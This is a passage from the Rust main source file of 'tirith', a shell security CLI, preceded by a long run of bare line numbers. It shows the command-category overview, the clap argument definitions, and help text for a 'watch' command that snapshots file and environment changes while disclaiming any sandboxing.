5320
5321
5322
5323
5324
5325
5326
5327
5328
5329
5330
5331
5332
5333
5334
5335
5336
5337
5338
5339
5340
5341
5342
5343
5344
5345
5346
5347
5348
5349
5350
5351
5352
5353
5354
5355
5356
5357
5358
5359
5360
5361
5362
5363
5364
5365
5366
5367
5368
5369
5370
5371
5372
5373
5374
5375
5376
5377
5378
5379
5380
5381
5382
5383
5384
5385
5386
5387
5388
5389
5390
5391
5392
5393
5394
5395
5396
5397
5398
5399
5400
5401
5402
5403
5404
5405
5406
5407
5408
5409
5410
5411
5412
5413
5414
5415
5416
5417
5418
5419
5420
5421
5422
5423
5424
5425
5426
5427
5428
5429
5430
5431
5432
5433
5434
5435
5436
5437
5438
5439
5440
5441
5442
5443
5444
5445
5446
5447
5448
5449
5450
5451
5452
5453
5454
5455
5456
5457
5458
5459
5460
5461
5462
5463
5464
5465
5466
5467
5468
5469
5470
5471
5472
5473
5474
5475
5476
5477
5478
5479
5480
5481
5482
5483
5484
5485
5486
5487
5488
5489
5490
5491
5492
5493
5494
5495
5496
5497
5498
5499
5500
5501
5502
5503
5504
5505
5506
5507
5508
5509
5510
5511
5512
5513
5514
5515
5516
5517
5518
5519
5520
5521
5522
5523
5524
5525
5526
5527
5528
5529
5530
5531
5532
5533
5534
5535
5536
5537
5538
5539
5540
5541
5542
5543
5544
5545
5546
5547
5548
5549
5550
5551
5552
5553
5554
5555
5556
5557
5558
5559
5560
5561
5562
5563
5564
5565
5566
5567
5568
5569
5570
5571
5572
5573
5574
5575
5576
5577
5578
5579
5580
5581
5582
5583
5584
5585
5586
5587
5588
5589
5590
5591
5592
5593
5594
5595
5596
5597
5598
5599
5600
5601
5602
5603
5604
5605
5606
5607
5608
5609
5610
5611
5612
5613
5614
5615
5616
5617
5618
5619
5620
5621
5622
5623
5624
5625
5626
5627
5628
5629
5630
5631
5632
5633
5634
5635
5636
5637
5638
5639
5640
5641
5642
5643
5644
5645
5646
5647
5648
5649
5650
5651
5652
5653
5654
5655
5656
5657
5658
5659
5660
5661
5662
5663
5664
5665
5666
5667
5668
5669
5670
5671
5672
5673
5674
5675
5676
5677
5678
5679
5680
5681
5682
5683
5684
5685
5686
5687
5688
5689
5690
5691
5692
5693
5694
5695
5696
5697
5698
5699
5700
5701
5702
5703
5704
5705
5706
5707
5708
5709
5710
5711
5712
5713
5714
5715
5716
5717
5718
5719
5720
5721
5722
5723
5724
5725
5726
5727
5728
5729
5730
5731
5732
5733
5734
5735
5736
5737
5738
5739
5740
5741
5742
5743
5744
5745
5746
5747
5748
5749
5750
5751
5752
5753
5754
5755
5756
5757
5758
5759
5760
5761
5762
5763
5764
5765
5766
5767
5768
5769
5770
5771
5772
5773
5774
5775
5776
5777
5778
5779
5780
5781
5782
5783
5784
5785
5786
5787
5788
5789
5790
5791
5792
5793
5794
5795
5796
5797
5798
5799
5800
5801
5802
5803
5804
5805
5806
5807
5808
5809
5810
5811
5812
5813
5814
5815
5816
5817
5818
5819
5820
5821
5822
5823
5824
5825
5826
5827
5828
5829
5830
5831
5832
5833
5834
5835
5836
5837
5838
5839
5840
5841
5842
5843
5844
5845
5846
5847
5848
5849
5850
5851
5852
5853
5854
5855
5856
5857
5858
5859
5860
5861
5862
5863
5864
5865
5866
5867
5868
5869
5870
5871
5872
5873
5874
5875
5876
5877
5878
5879
5880
5881
5882
5883
5884
5885
5886
5887
5888
5889
5890
5891
5892
5893
5894
5895
5896
5897
5898
5899
5900
5901
5902
5903
5904
5905
5906
5907
5908
5909
5910
5911
5912
5913
5914
5915
5916
5917
5918
5919
5920
5921
5922
5923
5924
5925
5926
5927
5928
5929
5930
5931
5932
5933
5934
5935
5936
5937
5938
5939
5940
5941
5942
5943
5944
5945
5946
5947
5948
5949
5950
5951
5952
5953
5954
5955
5956
5957
5958
5959
5960
5961
5962
5963
5964
5965
5966
5967
5968
5969
5970
5971
5972
5973
5974
5975
5976
5977
5978
5979
5980
5981
5982
5983
5984
5985
5986
5987
5988
5989
5990
5991
5992
5993
5994
5995
5996
5997
5998
5999
6000
6001
6002
6003
6004
6005
6006
6007
6008
6009
6010
6011
6012
6013
6014
6015
6016
6017
6018
6019
6020
6021
6022
6023
6024
6025
6026
6027
6028
6029
6030
6031
6032
6033
6034
6035
6036
6037
6038
6039
6040
6041
6042
6043
6044
6045
6046
6047
6048
6049
6050
6051
6052
6053
6054
6055
6056
6057
6058
6059
6060
6061
6062
6063
6064
6065
6066
6067
6068
6069
6070
6071
6072
6073
6074
6075
6076
6077
6078
6079
6080
6081
6082
6083
6084
6085
6086
6087
6088
6089
6090
6091
6092
6093
6094
6095
6096
6097
6098
6099
6100
6101
6102
6103
6104
6105
6106
6107
6108
6109
6110
6111
6112
6113
6114
6115
6116
6117
6118
6119
6120
6121
6122
6123
6124
6125
6126
6127
6128
6129
6130
6131
6132
6133
6134
6135
6136
6137
6138
6139
6140
6141
6142
6143
6144
6145
6146
6147
6148
6149
6150
6151
6152
6153
6154
6155
6156
6157
6158
6159
6160
6161
6162
6163
6164
6165
6166
6167
6168
6169
6170
6171
6172
6173
6174
6175
6176
6177
6178
6179
6180
6181
6182
6183
6184
6185
6186
6187
6188
6189
6190
6191
6192
6193
6194
6195
6196
6197
6198
6199
6200
6201
6202
6203
6204
6205
6206
6207
6208
6209
6210
6211
6212
6213
6214
6215
6216
6217
6218
6219
6220
6221
6222
6223
6224
6225
6226
6227
6228
6229
6230
6231
6232
6233
6234
6235
6236
6237
6238
6239
6240
6241
6242
6243
6244
6245
6246
6247
6248
6249
6250
6251
6252
6253
6254
6255
6256
6257
6258
6259
6260
6261
6262
6263
6264
6265
6266
6267
6268
6269
6270
6271
6272
6273
6274
6275
6276
6277
6278
6279
6280
6281
6282
6283
6284
6285
6286
6287
6288
6289
6290
6291
6292
6293
6294
6295
6296
6297
6298
6299
6300
6301
6302
6303
6304
6305
6306
6307
6308
6309
6310
6311
6312
6313
6314
6315
6316
6317
6318
6319
6320
6321
6322
6323
6324
6325
6326
6327
6328
6329
6330
6331
6332
6333
6334
6335
6336
6337
6338
6339
6340
6341
6342
6343
6344
6345
6346
6347
6348
6349
6350
6351
6352
6353
6354
6355
6356
6357
6358
6359
6360
6361
6362
6363
6364
6365
6366
6367
6368
6369
6370
6371
6372
6373
6374
6375
6376
6377
6378
6379
6380
6381
6382
6383
6384
6385
6386
6387
6388
6389
6390
6391
6392
6393
6394
6395
6396
6397
6398
6399
6400
6401
6402
6403
6404
6405
6406
6407
6408
6409
6410
6411
6412
6413
6414
6415
6416
6417
6418
6419
6420
6421
6422
6423
6424
6425
6426
6427
6428
6429
6430
6431
6432
6433
6434
6435
6436
6437
6438
6439
6440
6441
6442
6443
6444
6445
6446
6447
6448
6449
6450
6451
6452
6453
6454
6455
6456
6457
6458
6459
6460
6461
6462
6463
6464
6465
6466
6467
6468
6469
6470
6471
6472
6473
6474
6475
6476
6477
6478
6479
6480
6481
6482
6483
6484
6485
6486
6487
6488
6489
6490
6491
6492
6493
6494
6495
6496
6497
6498
6499
6500
6501
6502
6503
6504
6505
6506
6507
6508
6509
6510
6511
6512
6513
6514
6515
6516
6517
6518
6519
6520
6521
6522
6523
6524
6525
6526
6527
6528
6529
6530
6531
6532
6533
6534
6535
6536
6537
6538
6539
6540
6541
6542
6543
6544
6545
6546
6547
6548
6549
6550
6551
6552
6553
6554
6555
6556
6557
6558
6559
6560
6561
6562
6563
6564
6565
6566
6567
6568
6569
6570
6571
6572
6573
6574
6575
6576
6577
6578
6579
6580
6581
6582
6583
6584
6585
6586
6587
6588
6589
6590
6591
6592
6593
6594
6595
6596
6597
6598
6599
6600
6601
6602
6603
6604
6605
6606
6607
6608
6609
6610
6611
6612
6613
6614
6615
6616
6617
6618
6619
6620
6621
6622
6623
6624
6625
6626
6627
6628
6629
6630
6631
6632
6633
6634
6635
6636
6637
6638
6639
6640
6641
6642
6643
6644
6645
6646
6647
6648
6649
6650
6651
6652
6653
6654
6655
6656
6657
6658
6659
6660
6661
6662
6663
6664
6665
6666
6667
6668
6669
6670
6671
6672
6673
6674
6675
6676
6677
6678
6679
6680
6681
6682
6683
6684
6685
6686
6687
6688
6689
6690
6691
6692
6693
6694
6695
6696
6697
6698
6699
6700
6701
6702
6703
6704
6705
6706
6707
6708
6709
6710
6711
6712
6713
6714
6715
6716
6717
6718
6719
6720
6721
6722
6723
6724
6725
6726
6727
6728
6729
6730
6731
6732
6733
6734
6735
6736
6737
6738
6739
6740
6741
6742
6743
6744
6745
6746
6747
6748
6749
6750
6751
6752
6753
6754
6755
6756
6757
6758
6759
6760
6761
6762
6763
6764
6765
6766
6767
6768
6769
6770
6771
6772
6773
6774
6775
6776
6777
6778
6779
6780
6781
6782
6783
6784
6785
6786
6787
6788
6789
6790
6791
6792
6793
6794
6795
6796
6797
6798
6799
6800
6801
6802
6803
6804
6805
6806
6807
6808
6809
6810
6811
6812
6813
6814
6815
6816
6817
6818
6819
6820
6821
6822
6823
6824
6825
6826
6827
6828
6829
6830
6831
6832
6833
6834
6835
6836
6837
6838
6839
6840
6841
6842
6843
6844
6845
6846
6847
6848
6849
6850
6851
6852
6853
6854
6855
6856
6857
6858
6859
6860
6861
6862
6863
6864
6865
6866
6867
6868
6869
6870
6871
6872
6873
6874
6875
6876
6877
6878
6879
6880
6881
6882
6883
6884
6885
6886
6887
6888
6889
6890
6891
6892
6893
6894
6895
6896
6897
6898
6899
6900
6901
6902
6903
6904
6905
6906
6907
6908
6909
6910
6911
6912
6913
6914
6915
6916
6917
6918
6919
6920
6921
6922
6923
6924
6925
6926
6927
6928
6929
6930
6931
6932
6933
6934
6935
6936
6937
6938
6939
6940
6941
6942
6943
6944
6945
6946
6947
6948
6949
6950
6951
6952
6953
6954
6955
6956
6957
6958
6959
6960
6961
6962
6963
6964
6965
6966
6967
6968
6969
6970
6971
6972
6973
6974
6975
6976
6977
6978
6979
6980
6981
6982
6983
6984
6985
6986
6987
6988
6989
6990
6991
6992
6993
6994
6995
6996
6997
6998
6999
7000
7001
7002
7003
7004
7005
7006
7007
7008
7009
7010
7011
7012
7013
7014
7015
7016
7017
7018
7019
7020
7021
7022
7023
7024
7025
7026
7027
7028
7029
7030
7031
7032
7033
7034
7035
7036
7037
7038
7039
7040
7041
7042
7043
7044
7045
7046
7047
7048
7049
7050
7051
7052
7053
7054
7055
7056
7057
7058
7059
7060
7061
7062
7063
7064
7065
7066
7067
7068
7069
7070
7071
7072
7073
7074
7075
7076
7077
7078
7079
7080
7081
7082
7083
7084
7085
7086
7087
7088
7089
7090
7091
7092
7093
7094
7095
7096
7097
7098
7099
7100
7101
7102
7103
7104
7105
7106
7107
7108
7109
7110
7111
7112
7113
7114
7115
7116
7117
7118
7119
7120
7121
7122
7123
7124
7125
7126
7127
7128
7129
7130
7131
7132
7133
7134
7135
7136
7137
7138
7139
7140
7141
7142
7143
7144
7145
7146
7147
7148
7149
7150
7151
7152
7153
7154
7155
7156
7157
7158
7159
7160
7161
7162
7163
7164
7165
7166
7167
7168
7169
7170
7171
7172
7173
7174
7175
7176
7177
7178
7179
7180
7181
7182
7183
7184
7185
7186
7187
7188
7189
7190
7191
7192
7193
7194
7195
7196
7197
7198
7199
7200
7201
7202
7203
7204
7205
7206
7207
7208
7209
7210
7211
7212
7213
7214
7215
7216
7217
7218
7219
7220
7221
7222
7223
7224
7225
7226
7227
7228
7229
7230
7231
7232
7233
7234
7235
7236
7237
7238
7239
7240
7241
7242
7243
7244
7245
7246
7247
7248
7249
7250
7251
7252
7253
7254
7255
7256
7257
7258
7259
7260
7261
7262
7263
7264
7265
7266
7267
7268
7269
7270
7271
7272
7273
7274
7275
7276
7277
7278
7279
7280
7281
7282
7283
7284
7285
7286
7287
7288
7289
7290
7291
7292
7293
7294
7295
7296
7297
7298
7299
7300
7301
7302
7303
7304
7305
7306
7307
7308
7309
7310
7311
7312
7313
7314
7315
7316
7317
7318
7319
7320
7321
7322
7323
7324
7325
7326
7327
7328
7329
7330
7331
7332
7333
7334
7335
7336
7337
7338
7339
7340
7341
7342
7343
7344
7345
7346
7347
7348
7349
7350
7351
7352
7353
7354
7355
7356
7357
7358
7359
7360
7361
7362
7363
7364
7365
7366
7367
7368
7369
7370
7371
7372
7373
7374
7375
7376
7377
7378
7379
7380
7381
7382
7383
7384
7385
7386
7387
7388
7389
7390
7391
7392
7393
7394
7395
7396
7397
7398
7399
7400
7401
7402
7403
7404
7405
7406
7407
7408
7409
7410
7411
7412
7413
7414
7415
7416
7417
7418
7419
7420
7421
7422
7423
7424
7425
7426
7427
7428
7429
7430
7431
7432
7433
7434
7435
7436
7437
7438
7439
7440
7441
7442
7443
7444
7445
7446
7447
7448
7449
7450
7451
7452
7453
7454
7455
7456
7457
7458
7459
7460
7461
7462
7463
7464
7465
7466
7467
7468
7469
7470
7471
7472
7473
7474
7475
7476
7477
7478
7479
7480
7481
7482
7483
7484
7485
7486
7487
7488
7489
7490
7491
7492
7493
7494
7495
7496
7497
7498
7499
7500
7501
7502
7503
7504
7505
7506
7507
7508
7509
7510
7511
7512
7513
7514
7515
7516
7517
7518
7519
7520
7521
7522
7523
7524
7525
7526
7527
7528
7529
7530
7531
7532
7533
7534
7535
7536
7537
7538
7539
7540
7541
7542
7543
7544
7545
7546
7547
7548
7549
7550
7551
7552
7553
7554
7555
7556
7557
7558
7559
7560
7561
7562
7563
7564
7565
7566
7567
7568
7569
7570
7571
7572
7573
7574
7575
7576
7577
7578
7579
7580
7581
7582
7583
7584
7585
7586
7587
7588
7589
7590
7591
7592
7593
7594
7595
7596
7597
7598
7599
7600
7601
7602
7603
7604
7605
7606
7607
7608
7609
7610
7611
7612
7613
7614
7615
7616
7617
7618
7619
7620
7621
7622
7623
7624
7625
7626
7627
7628
7629
7630
7631
7632
7633
7634
7635
7636
7637
7638
7639
7640
7641
7642
7643
7644
7645
7646
7647
7648
7649
7650
7651
7652
7653
7654
7655
7656
7657
7658
7659
7660
7661
7662
7663
7664
7665
7666
7667
7668
7669
7670
7671
7672
7673
7674
7675
7676
7677
7678
7679
7680
7681
7682
7683
7684
7685
7686
7687
7688
7689
7690
7691
7692
7693
7694
7695
7696
7697
7698
7699
7700
7701
7702
7703
7704
7705
7706
7707
7708
7709
7710
7711
7712
7713
7714
7715
7716
7717
7718
7719
7720
7721
7722
7723
7724
7725
7726
7727
7728
7729
7730
7731
7732
7733
7734
7735
7736
7737
7738
7739
7740
7741
7742
7743
7744
7745
7746
7747
7748
7749
7750
7751
7752
7753
7754
7755
7756
7757
7758
7759
7760
7761
7762
7763
7764
7765
7766
7767
7768
7769
7770
7771
7772
7773
7774
7775
7776
7777
7778
7779
7780
7781
7782
7783
7784
7785
7786
7787
7788
7789
7790
7791
7792
7793
7794
7795
7796
7797
7798
7799
7800
7801
7802
7803
7804
7805
7806
7807
7808
7809
7810
7811
7812
7813
7814
7815
7816
7817
7818
7819
7820
7821
7822
7823
7824
7825
7826
7827
7828
7829
7830
7831
7832
7833
7834
7835
7836
7837
7838
7839
7840
7841
7842
7843
7844
7845
7846
7847
7848
7849
7850
7851
7852
7853
7854
7855
7856
7857
7858
7859
7860
7861
7862
7863
7864
7865
7866
7867
7868
7869
7870
7871
7872
7873
7874
7875
7876
7877
7878
7879
7880
7881
7882
7883
7884
7885
7886
7887
7888
7889
7890
7891
7892
7893
7894
7895
7896
7897
7898
7899
7900
7901
7902
7903
7904
7905
7906
7907
7908
7909
7910
7911
7912
7913
7914
7915
7916
7917
7918
7919
7920
7921
7922
7923
7924
7925
7926
7927
7928
7929
7930
7931
7932
7933
7934
7935
7936
7937
7938
7939
7940
7941
7942
7943
7944
7945
7946
7947
7948
7949
7950
7951
7952
7953
7954
7955
7956
7957
7958
7959
7960
7961
7962
7963
7964
7965
7966
7967
7968
7969
7970
7971
7972
7973
7974
7975
7976
7977
7978
7979
7980
7981
7982
7983
7984
7985
7986
7987
7988
7989
7990
7991
7992
7993
7994
7995
7996
7997
7998
7999
8000
8001
8002
8003
8004
8005
8006
8007
8008
8009
8010
8011
8012
8013
8014
8015
8016
8017
8018
8019
8020
8021
8022
8023
8024
8025
8026
8027
8028
8029
8030
8031
8032
8033
8034
8035
8036
8037
8038
8039
8040
8041
8042
8043
8044
8045
8046
8047
8048
8049
8050
8051
8052
8053
8054
8055
8056
8057
8058
8059
8060
8061
8062
8063
8064
8065
8066
8067
8068
8069
8070
8071
8072
8073
8074
8075
8076
8077
8078
8079
8080
8081
8082
8083
8084
8085
8086
8087
8088
8089
8090
8091
8092
8093
8094
8095
8096
8097
8098
8099
8100
8101
8102
8103
8104
8105
8106
8107
8108
8109
8110
8111
8112
8113
8114
8115
8116
8117
8118
8119
8120
8121
8122
8123
8124
8125
8126
8127
8128
8129
8130
8131
8132
8133
8134
8135
8136
8137
8138
8139
8140
8141
8142
8143
8144
8145
8146
8147
8148
8149
8150
8151
8152
8153
8154
8155
8156
8157
8158
8159
8160
8161
8162
8163
8164
8165
8166
8167
8168
8169
8170
8171
8172
8173
8174
8175
8176
8177
8178
8179
8180
8181
8182
8183
8184
8185
8186
8187
8188
8189
8190
8191
8192
8193
8194
8195
8196
8197
8198
8199
8200
8201
8202
8203
8204
8205
8206
8207
8208
8209
8210
8211
8212
8213
8214
8215
8216
8217
8218
8219
8220
8221
8222
8223
8224
8225
8226
8227
8228
8229
8230
8231
8232
8233
8234
8235
8236
8237
8238
8239
8240
8241
8242
8243
8244
8245
8246
8247
8248
8249
8250
8251
8252
8253
8254
8255
8256
8257
8258
8259
8260
8261
8262
8263
8264
8265
8266
8267
8268
8269
8270
8271
8272
8273
8274
8275
8276
8277
8278
8279
8280
8281
8282
8283
8284
8285
8286
8287
8288
8289
8290
8291
8292
8293
8294
8295
8296
8297
8298
8299
8300
8301
8302
8303
8304
8305
8306
8307
8308
8309
8310
8311
8312
8313
8314
8315
8316
8317
8318
8319
8320
8321
8322
8323
8324
8325
8326
8327
8328
8329
8330
8331
8332
8333
8334
8335
8336
8337
8338
8339
8340
8341
8342
8343
8344
8345
8346
8347
8348
8349
8350
8351
8352
8353
8354
8355
8356
8357
8358
8359
8360
8361
8362
8363
8364
8365
8366
8367
8368
8369
8370
8371
8372
8373
8374
8375
8376
8377
8378
8379
8380
8381
8382
8383
8384
8385
8386
8387
8388
8389
8390
8391
8392
8393
8394
8395
8396
8397
8398
8399
8400
8401
8402
8403
8404
8405
8406
8407
8408
8409
8410
8411
8412
8413
8414
8415
8416
8417
8418
8419
8420
8421
8422
8423
8424
8425
8426
8427
8428
8429
8430
8431
8432
8433
8434
8435
8436
8437
8438
8439
8440
8441
8442
8443
8444
8445
8446
8447
8448
8449
8450
8451
8452
8453
8454
8455
8456
8457
8458
8459
8460
8461
8462
8463
8464
8465
8466
8467
8468
8469
8470
8471
8472
8473
8474
8475
8476
8477
8478
8479
8480
8481
8482
8483
8484
8485
8486
8487
8488
8489
8490
8491
8492
8493
8494
8495
8496
8497
8498
8499
8500
8501
8502
8503
8504
8505
8506
8507
8508
8509
8510
8511
8512
8513
8514
8515
8516
8517
8518
8519
8520
8521
8522
8523
8524
8525
8526
8527
8528
8529
8530
8531
8532
8533
8534
8535
8536
8537
8538
8539
8540
8541
8542
8543
8544
8545
8546
8547
8548
8549
8550
8551
8552
8553
8554
8555
8556
8557
8558
8559
8560
8561
8562
8563
8564
8565
8566
8567
8568
8569
8570
8571
8572
8573
8574
8575
8576
8577
8578
8579
8580
8581
8582
8583
8584
8585
8586
8587
8588
8589
8590
8591
8592
8593
8594
8595
8596
8597
8598
8599
8600
8601
8602
8603
8604
8605
8606
8607
8608
8609
8610
8611
8612
8613
8614
8615
8616
8617
8618
8619
8620
8621
8622
8623
8624
8625
8626
8627
8628
8629
8630
8631
8632
8633
8634
8635
8636
8637
8638
8639
8640
8641
8642
8643
8644
8645
8646
8647
8648
8649
8650
8651
8652
8653
8654
8655
8656
8657
8658
8659
8660
8661
8662
8663
8664
8665
8666
8667
8668
8669
8670
8671
8672
8673
8674
8675
8676
8677
8678
8679
8680
8681
8682
8683
8684
8685
8686
8687
8688
8689
8690
8691
8692
8693
8694
8695
8696
8697
8698
8699
8700
8701
8702
8703
8704
8705
8706
8707
8708
8709
8710
8711
8712
8713
8714
8715
8716
8717
8718
8719
8720
8721
8722
8723
8724
8725
8726
8727
8728
8729
8730
8731
8732
8733
8734
8735
8736
8737
8738
8739
8740
8741
8742
8743
8744
8745
8746
8747
8748
8749
8750
8751
8752
8753
8754
8755
8756
8757
8758
8759
8760
8761
8762
8763
8764
8765
8766
8767
8768
8769
8770
8771
8772
8773
8774
8775
8776
8777
8778
8779
8780
8781
8782
8783
8784
8785
8786
8787
8788
8789
8790
8791
8792
8793
8794
8795
8796
8797
8798
8799
8800
8801
8802
8803
8804
8805
8806
8807
8808
8809
8810
8811
8812
8813
8814
8815
8816
8817
8818
8819
8820
8821
8822
8823
8824
8825
8826
8827
8828
8829
8830
8831
8832
8833
8834
8835
8836
8837
8838
8839
8840
8841
8842
8843
8844
8845
8846
8847
8848
8849
8850
8851
8852
8853
8854
8855
8856
8857
8858
8859
8860
8861
8862
8863
8864
8865
8866
8867
8868
8869
8870
8871
8872
8873
8874
8875
8876
8877
8878
8879
8880
8881
8882
8883
8884
8885
8886
8887
8888
8889
8890
8891
8892
8893
8894
8895
8896
8897
8898
8899
8900
8901
8902
8903
8904
8905
8906
8907
8908
8909
8910
8911
8912
8913
8914
8915
8916
8917
8918
8919
8920
8921
8922
8923
8924
8925
8926
8927
8928
8929
8930
8931
8932
8933
8934
8935
8936
8937
8938
8939
8940
8941
8942
8943
8944
8945
8946
8947
8948
8949
8950
8951
8952
8953
8954
8955
8956
8957
8958
8959
8960
8961
8962
8963
8964
8965
8966
8967
8968
8969
8970
8971
8972
8973
8974
8975
8976
8977
8978
8979
8980
8981
8982
8983
8984
8985
8986
8987
8988
8989
8990
8991
8992
8993
8994
8995
8996
8997
8998
8999
9000
9001
9002
9003
9004
9005
9006
9007
9008
9009
9010
9011
9012
9013
9014
9015
9016
9017
9018
9019
9020
9021
9022
9023
9024
9025
9026
9027
9028
9029
9030
9031
9032
9033
9034
9035
9036
9037
9038
9039
9040
9041
9042
9043
9044
9045
9046
9047
9048
9049
9050
9051
9052
9053
9054
9055
9056
9057
9058
9059
9060
9061
9062
9063
9064
9065
9066
9067
9068
9069
9070
9071
9072
9073
9074
9075
9076
9077
9078
9079
9080
9081
9082
9083
9084
9085
9086
9087
9088
9089
9090
9091
9092
9093
9094
9095
9096
9097
9098
9099
9100
9101
9102
9103
9104
9105
9106
9107
9108
9109
9110
9111
9112
9113
9114
9115
9116
9117
9118
9119
9120
9121
9122
9123
9124
9125
9126
9127
9128
9129
9130
9131
9132
9133
9134
9135
9136
9137
9138
9139
9140
9141
9142
9143
9144
9145
9146
9147
9148
9149
9150
9151
9152
9153
9154
9155
9156
9157
9158
9159
9160
9161
9162
9163
9164
9165
9166
9167
9168
9169
9170
9171
9172
9173
9174
9175
9176
9177
9178
9179
9180
9181
9182
9183
9184
9185
9186
9187
9188
9189
9190
9191
9192
9193
9194
9195
9196
9197
9198
9199
9200
9201
9202
9203
9204
9205
9206
9207
9208
9209
9210
9211
9212
9213
9214
9215
9216
9217
9218
9219
9220
9221
9222
9223
9224
9225
9226
9227
9228
9229
9230
9231
9232
9233
9234
9235
9236
9237
9238
9239
9240
9241
9242
9243
9244
9245
9246
9247
9248
9249
9250
9251
9252
9253
9254
9255
9256
9257
9258
9259
9260
9261
9262
9263
9264
9265
9266
9267
9268
9269
9270
9271
9272
9273
9274
9275
9276
9277
9278
9279
9280
9281
9282
9283
9284
9285
9286
9287
9288
9289
9290
9291
9292
9293
9294
9295
9296
9297
9298
9299
9300
9301
9302
9303
9304
9305
9306
9307
9308
9309
9310
9311
9312
9313
9314
9315
9316
9317
9318
9319
9320
9321
9322
9323
9324
9325
9326
9327
9328
9329
9330
9331
9332
9333
9334
9335
9336
9337
9338
9339
9340
9341
9342
9343
9344
9345
9346
9347
9348
9349
9350
9351
9352
9353
9354
9355
9356
9357
9358
9359
9360
9361
9362
9363
9364
9365
9366
9367
9368
9369
9370
9371
9372
9373
9374
9375
9376
9377
9378
9379
9380
9381
9382
9383
9384
9385
9386
9387
9388
9389
9390
9391
9392
9393
9394
9395
9396
9397
9398
9399
9400
9401
9402
9403
9404
9405
9406
9407
9408
9409
9410
9411
9412
9413
9414
9415
9416
9417
9418
9419
9420
9421
9422
9423
9424
9425
9426
9427
9428
9429
9430
9431
9432
9433
9434
9435
9436
9437
9438
9439
9440
9441
9442
9443
9444
9445
9446
9447
9448
9449
9450
9451
9452
9453
9454
9455
9456
9457
9458
9459
9460
9461
9462
9463
9464
9465
9466
9467
9468
9469
9470
9471
9472
9473
9474
9475
9476
9477
9478
9479
9480
9481
9482
9483
9484
9485
9486
9487
9488
9489
9490
9491
9492
9493
9494
9495
9496
9497
9498
9499
9500
9501
9502
9503
9504
9505
9506
9507
9508
9509
9510
9511
9512
9513
9514
9515
9516
9517
9518
9519
9520
9521
9522
9523
9524
9525
9526
9527
9528
9529
9530
9531
9532
9533
9534
9535
9536
9537
9538
9539
9540
9541
9542
9543
9544
9545
9546
9547
9548
9549
9550
9551
9552
9553
9554
9555
9556
9557
9558
9559
9560
9561
9562
9563
9564
9565
9566
9567
9568
9569
9570
9571
9572
9573
9574
9575
9576
9577
9578
9579
9580
9581
9582
9583
9584
9585
9586
9587
9588
9589
9590
9591
9592
9593
9594
9595
9596
9597
9598
9599
9600
9601
9602
9603
9604
9605
9606
9607
9608
9609
9610
9611
9612
9613
9614
9615
9616
9617
9618
9619
9620
9621
9622
9623
9624
9625
9626
9627
9628
9629
9630
9631
9632
9633
9634
9635
9636
9637
9638
9639
9640
9641
9642
9643
9644
9645
9646
9647
9648
9649
9650
9651
9652
9653
9654
9655
9656
9657
9658
9659
9660
9661
9662
9663
9664
9665
9666
9667
9668
9669
9670
9671
9672
9673
9674
9675
9676
9677
9678
9679
9680
9681
9682
9683
9684
9685
9686
9687
9688
9689
9690
9691
9692
9693
9694
9695
9696
9697
9698
9699
9700
9701
9702
9703
9704
9705
9706
9707
9708
9709
9710
9711
9712
9713
9714
9715
9716
9717
9718
9719
9720
9721
9722
9723
9724
9725
9726
9727
9728
9729
9730
9731
9732
9733
9734
9735
9736
9737
9738
9739
9740
9741
9742
9743
9744
9745
9746
9747
9748
9749
9750
9751
9752
9753
9754
9755
9756
9757
9758
9759
9760
9761
9762
9763
9764
9765
9766
9767
9768
9769
9770
9771
9772
9773
9774
9775
9776
9777
9778
9779
9780
9781
9782
9783
9784
9785
9786
9787
9788
9789
9790
9791
9792
9793
9794
9795
9796
9797
9798
9799
9800
9801
9802
9803
9804
9805
9806
9807
9808
9809
9810
9811
9812
9813
9814
9815
9816
9817
9818
9819
9820
9821
9822
9823
9824
9825
9826
9827
9828
9829
9830
9831
9832
9833
9834
9835
9836
9837
9838
9839
9840
9841
9842
9843
9844
9845
9846
9847
9848
9849
9850
9851
9852
9853
9854
9855
9856
9857
9858
9859
9860
9861
9862
9863
9864
9865
9866
9867
9868
9869
9870
9871
9872
9873
9874
9875
9876
9877
9878
9879
9880
9881
9882
9883
9884
9885
9886
9887
9888
9889
9890
9891
9892
9893
9894
9895
9896
9897
9898
9899
9900
9901
9902
9903
9904
9905
9906
9907
9908
9909
9910
9911
9912
9913
9914
9915
9916
9917
9918
9919
9920
mod assets;
mod cli;

use std::path::PathBuf;

use crate::cli::{HumanJsonFormat, HumanJsonSarifFormat};
use clap::{Parser, Subcommand};

/// A categorized command overview appended to `tirith --help` (the long help),
/// since clap-derive cannot group subcommands by category. The
/// `every_command_is_categorized` test guards this against drift.
const COMMANDS_BY_CATEGORY: &str = "\
COMMANDS BY CATEGORY:
  Scan & Analyze:   check paste run score diff fetch fix scan view preview watch temp-run capsule taint intend task lab explain why visual-audit
  Status & Health:  status doctor prompt-status dashboard warnings receipt logs baseline
  Setup & Onboard:  init onboard setup install activate update version verify-self browser devcontainer codespaces
  Policy & Trust:   policy trust rule output
  Shell & System:   daemon hooks exec env path sudo ssh context persistence hygiene aliases
  Supply-chain:     package pkg ecosystem threat-db iac canary secret command-card commands attest
  Integrations:     mcp mcp-server gateway agent ai lsp license
  Forensics:        audit incident checkpoint pending share redact clipboard

Run `tirith <command> --help` for details on any command.";

#[derive(Parser)]
#[command(
    name = "tirith",
    version,
    about = "URL security analysis for shell environments",
    after_long_help = COMMANDS_BY_CATEGORY
)]
pub struct Cli {
    /// Suppress low-value advisory output (clean "no issues" lines, shadow-binary
    /// warnings, tips). Never hides errors, verdicts, JSON, or security notices.
    #[arg(long, global = true)]
    quiet: bool,

    #[command(subcommand)]
    command: Commands,
}

/// Shared help text for the two `watch` spellings (`tirith watch …` and
/// `tirith checkpoint watch …`) so both surfaces document the identical
/// behavior and honesty caveats.
const WATCH_AFTER_HELP: &str = "\
What this does:
  Snapshots the current directory (plus any --paths) and your runtime state
  (env var names, $PATH, shell-rc file hashes), runs the command, then
  re-snapshots and reports: new files, modified files, $PATH additions, env
  vars added, and shell-rc modifications. A shell rc/profile file changed
  DURING the run fires a HIGH `post_run_shell_rc_modified` finding.

What this is NOT:
  - It does NOT sandbox or isolate the command. The command runs with your
    FULL privileges and can read your keychain, ssh keys, cloud creds, and the
    network. `watch` is an after-the-fact LENS, not a gate or a boundary.
  - It does NOT block. The exit code is the watched command's own exit code.
  - File snapshotting is capped to the current directory and any --paths you
    pass — it never walks all of $HOME.

--with-net-hints (EXPERIMENTAL, off by default):
  Emits best-effort network hints derived from a resolver-cache / log mtime
  delta. Best-effort hints ONLY — may miss QUIC/UDP/direct-IP; NOT a network
  monitor; not a security boundary. Absence of hints does NOT mean no network
  activity occurred.

Execution syntax:
